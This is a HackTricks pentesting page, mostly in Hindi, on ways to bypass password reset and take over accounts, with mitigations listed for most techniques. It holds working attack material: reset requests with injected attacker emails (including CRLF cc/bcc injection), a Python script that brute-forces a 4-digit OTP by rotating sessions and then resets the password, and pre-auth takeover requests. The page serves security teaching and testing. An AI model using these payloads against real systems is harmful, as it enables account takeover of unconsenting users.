Reset/Forgotten Password Bypass

Reading time: 12 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Password Reset Token Leak Via Referrer

  • The HTTP referer header may leak the password reset token if it's included in the URL. यह तब हो सकता है जब कोई user password reset request करने के बाद किसी third-party वेबसाइट के लिंक पर क्लिक करे।
  • Impact: Potential account takeover via Cross-Site Request Forgery (CSRF) attacks.
  • Exploitation: यह जांचने के लिए कि password reset token referer header में leak हो रहा है या नहीं, अपने email पते के लिए request a password reset करें और दिए गए reset link पर click करें। तुरंत अपना पासवर्ड बदलें मत। इसके बजाय, intercepting the requests using Burp Suite करते हुए किसी third-party वेबसाइट (जैसे Facebook या Twitter) पर navigate करें। requests को inspect करके देखें कि referer header contains the password reset token या नहीं, क्योंकि इससे sensitive जानकारी third parties को expose हो सकती है।
  • References:
  • HackerOne Report 342693
  • HackerOne Report 272379
  • Password Reset Token Leak Article

Password Reset Poisoning

  • Attackers may manipulate the Host header during password reset requests to point the reset link to a malicious site.
  • Impact: Leads to potential account takeover by leaking reset tokens to attackers.
  • Mitigation Steps:
  • Host header को allowed domains की whitelist के खिलाफ validate करें।
  • Absolute URLs generate करने के लिए secure, server-side तरीकों का उपयोग करें।
  • Patch: Use $_SERVER['SERVER_NAME'] to construct password reset URLs instead of $_SERVER['HTTP_HOST'].
  • References:
  • Acunetix Article on Password Reset Poisoning

Password Reset By Manipulating Email Parameter

Attackers password reset request को manipulate करके अतिरिक्त email parameters जोड़कर reset link को divert कर सकते हैं।

  • दूसरा parameter के रूप में attacker email जोड़ें using &
php
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
  • %20 का उपयोग करते हुए attacker email को दूसरे पैरामीटर के रूप में जोड़ें
php
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
  • attacker email को दूसरे पैरामीटर के रूप में | का उपयोग करके जोड़ें
php
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
  • attacker email को दूसरे पैरामीटर के रूप में cc का उपयोग करके जोड़ें
php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
  • attacker email को दूसरे पैरामीटर के रूप में bcc का उपयोग करके जोड़ें
php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
  • दूसरे पैरामीटर के रूप में attacker email को , का उपयोग करके जोड़ें,
php
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
  • json array में दूसरे पैरामीटर के रूप में attacker email जोड़ें
php
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}

किसी भी उपयोगकर्ता के Email और Password को API Parameters के माध्यम से बदलना

  • हमलावर API requests में email और password parameters को संशोधित कर account credentials बदल सकते हैं।
php
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})
  • निवारण कदम:
  • कठोर पैरामीटर मान्यकरण और प्रमाणीकरण जांच सुनिश्चित करें।
  • संदिग्ध गतिविधियों का पता लगाने और उन पर प्रतिक्रिया करने के लिए मजबूत लॉगिंग और मॉनिटरिंग लागू करें।
  • Reference:
  • Full Account Takeover via API Parameter Manipulation

No Rate Limiting: Email Bombing

  • पासवर्ड रिसेट अनुरोधों पर rate limiting की कमी Email Bombing की ओर ले जा सकती है, जिससे उपयोगकर्ता reset emails से अभिभूत हो सकता है।
  • निवारण कदम:
  • IP address या user account के आधार पर rate limiting लागू करें।
  • CAPTCHA challenges का उपयोग स्वचालित दुरुपयोग को रोकने के लिए करें।
  • References:
  • HackerOne Report 280534

Find out How Password Reset Token is Generated

  • टोकन जनरेशन के पीछे के पैटर्न या विधि को समझने से टोकन की भविष्यवाणी या brute-forcing किया जा सकता है। कुछ विकल्प:
  • Based Timestamp
  • Based on the UserID
  • Based on email of User
  • Based on Firstname and Lastname
  • Based on Date of Birth
  • Based on Cryptography
  • निवारण कदम:
  • टोकन जनरेशन के लिए मजबूत, cryptographic विधियाँ उपयोग करें।
  • पूर्वानुमेयता से बचने के लिए पर्याप्त randomness और लंबाई सुनिश्चित करें।
  • Tools: टोकन की randomness का विश्लेषण करने के लिए Burp Sequencer का उपयोग करें।

Guessable UUID

  • यदि UUIDs (version 1) अनुमान योग्य या पूर्वानुमेय हैं, तो attackers इन्हें brute-force करके वैध reset tokens जनरेट कर सकते हैं। जाँच:

UUID Insecurities

  • निवारण कदम:
  • रैंडमनेस के लिए GUID version 4 का उपयोग करें या अन्य versions के लिए अतिरिक्त सुरक्षा उपाय लागू करें।
  • Tools: GUIDs का विश्लेषण और उत्पन्न करने के लिए guidtool का उपयोग करें।

Response Manipulation: Replace Bad Response With Good One

  • त्रुटि संदेशों या प्रतिबंधों को बायपास करने के लिए HTTP responses को manipulate करना।
  • निवारण कदम:
  • response integrity सुनिश्चित करने के लिए server-side चेक लागू करें।
  • man-in-the-middle attacks को रोकने के लिए HTTPS जैसे सुरक्षित संचार चैनलों का उपयोग करें।
  • Reference:
  • Critical Bug in Live Bug Bounty Event

Using Expired Token

  • परीक्षण करें कि क्या expired tokens अभी भी password reset के लिए उपयोग किए जा सकते हैं।
  • निवारण कदम:
  • कठोर token expiration नीतियाँ लागू करें और token expiry को server-side पर सत्यापित करें।

Brute Force Password Reset Token

  • IP-based rate limits को बायपास करने के लिए Burpsuite और IP-Rotator जैसे tools का उपयोग करके reset token को brute-force करने का प्रयास।
  • निवारण कदम:
  • मजबूत rate-limiting और account lockout mechanisms लागू करें।
  • brute-force attacks के संकेतक के रूप में संदिग्ध गतिविधियों की निगरानी करें।

Try Using Your Token

  • परीक्षण करें कि क्या किसी attacker का reset token पीड़ित के email के साथ उपयोग किया जा सकता है।
  • निवारण कदम:
  • सुनिश्चित करें कि tokens user session या अन्य user-specific attributes के साथ बाउंड हों।

Session Invalidation in Logout/Password Reset

  • सुनिश्चित करें कि उपयोगकर्ता logout या password reset करने पर sessions invalidated हो जाएँ।
  • निवारण कदम:
  • सही session management लागू करें, यह सुनिश्चित करते हुए कि logout या password reset पर सभी sessions invalidated हों।

Session Invalidation in Logout/Password Reset

  • Reset tokens का एक expiration समय होना चाहिए जिसके बाद वे अमान्य हो जाते हैं।
  • निवारण कदम:
  • Reset tokens के लिए एक यथोचित expiration समय सेट करें और इसे server-side पर सख्ती से लागू करें।

OTP rate limit bypass by changing your session

  • यदि वेबसाइट wrong OTP attempts को ट्रैक करने के लिए user session का उपयोग कर रही है और OTP कमजोर है ( <= 4 digits) तो हम प्रभावी रूप से OTP को bruteforce कर सकते हैं।
  • exploitation:
  • सर्वर द्वारा ब्लॉक होने के बाद बस एक नया session token अनुरोध करें।
  • Example code that exploits this bug by randomly guessing the OTP (when you change the session the OTP will change as well, and so we will not be able to sequentially bruteforce it!):
python
# Authentication bypass by password reset
# by coderMohammed
import requests
import random
from time import sleep

headers = {
"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1",
"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea"
}
url = "http://10.10.12.231:1337/reset_password.php"
logout = "http://10.10.12.231:1337/logout.php"
root = "http://10.10.12.231:1337/"

parms = dict()
ter = 0
phpsessid = ""

print("[+] Starting attack!")
sleep(3)
print("[+] This might take around 5 minutes to finish!")

try:
while True:
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # random number from 0 - 9999 with 4 d
parms["s"] = 164 # not important it only efects the frontend
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)

if ter == 8: # follow number of trails
out = requests.get(logout,headers=headers) # log u out
mainp = requests.get(root) # gets another phpssid (token)

cookies = out.cookies # extract the sessionid
phpsessid = cookies.get('PHPSESSID')
headers["cookies"]=f"PHPSESSID={phpsessid}" #update the headers with new session

reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # sends the email to change the password for
ter = 0 # reset ter so we get a new session after 8 trails
else:
ter += 1
if(len(res.text) == 2292): # this is the length of the page when u get the recovery code correctly (got by testing)
print(len(res.text)) # for debug info
print(phpsessid)

reset_data = { # here we will change the password to somthing new
"new_password": "D37djkamd!",
"confirm_password": "D37djkamd!"
}
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)

print("[+] Password has been changed to:D37djkamd!")
break
except Exception as e:
print("[+] Attck stopped")

Arbitrary password reset via skipOldPwdCheck (pre-auth)

कुछ implementations एक password change action expose करती हैं जो password-change routine को skipOldPwdCheck=true के साथ कॉल करती है और किसी भी reset token या ownership का सत्यापन नहीं करती। यदि endpoint action parameter जैसे change_password और request body में username/new password स्वीकार करता है, तो एक attacker pre-auth arbitrary accounts reset कर सकता है।

कमजोर पैटर्न (PHP):

php
// hub/rpwd.php
RequestHandler::validateCSRFToken();
$RP = new RecoverPwd();
$RP->process($_REQUEST, $_POST);

// modules/Users/RecoverPwd.php
if ($request['action'] == 'change_password') {
$body = $this->displayChangePwd($smarty, $post['user_name'], $post['confirm_new_password']);
}

public function displayChangePwd($smarty, $username, $newpwd) {
$current_user = CRMEntity::getInstance('Users');
$current_user->id = $current_user->retrieve_user_id($username);
// ... criteria checks omitted ...
$current_user->change_password('oldpwd', $_POST['confirm_new_password'], true, true); // skipOldPwdCheck=true
emptyUserAuthtokenKey($this->user_auth_token_type, $current_user->id);
}

Exploitation अनुरोध (अवधारणा):

http
POST /hub/rpwd.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd!

Mitigations:

  • पासवर्ड बदलने से पहले हमेशा खाते और session से बाउंड एक वैध, समय-सीमित reset token की आवश्यकता रखें।
  • कभी skipOldPwdCheck paths को अनप्रमाणित उपयोगकर्ताओं के लिए एक्सपोज़ न करें; नियमित password परिवर्तन के लिए authentication लागू करें और old password को सत्यापित करें।
  • पासवर्ड परिवर्तन के बाद सभी active sessions और reset tokens को अमान्य कर दें।

Registration-as-Password-Reset (Upsert on Existing Email)

कुछ applications signup handler को upsert के रूप में लागू करते हैं। अगर email पहले से मौजूद है, तो handler अनुरोध को reject करने के बजाय user रिकॉर्ड को चुपचाप अपडेट कर देता है। जब registration endpoint एक मौजूदा email और एक नया password वाला न्यूनतम JSON body स्वीकार करता है, तो यह प्रभावी रूप से ownership verification के बिना एक pre-auth password reset बन जाता है, जिससे full account takeover संभव हो जाता है।

Pre-auth ATO PoC (overwriting an existing user's password):

http
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json

{"email":"victim@example.com","password":"New@12345"}

संदर्भ

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें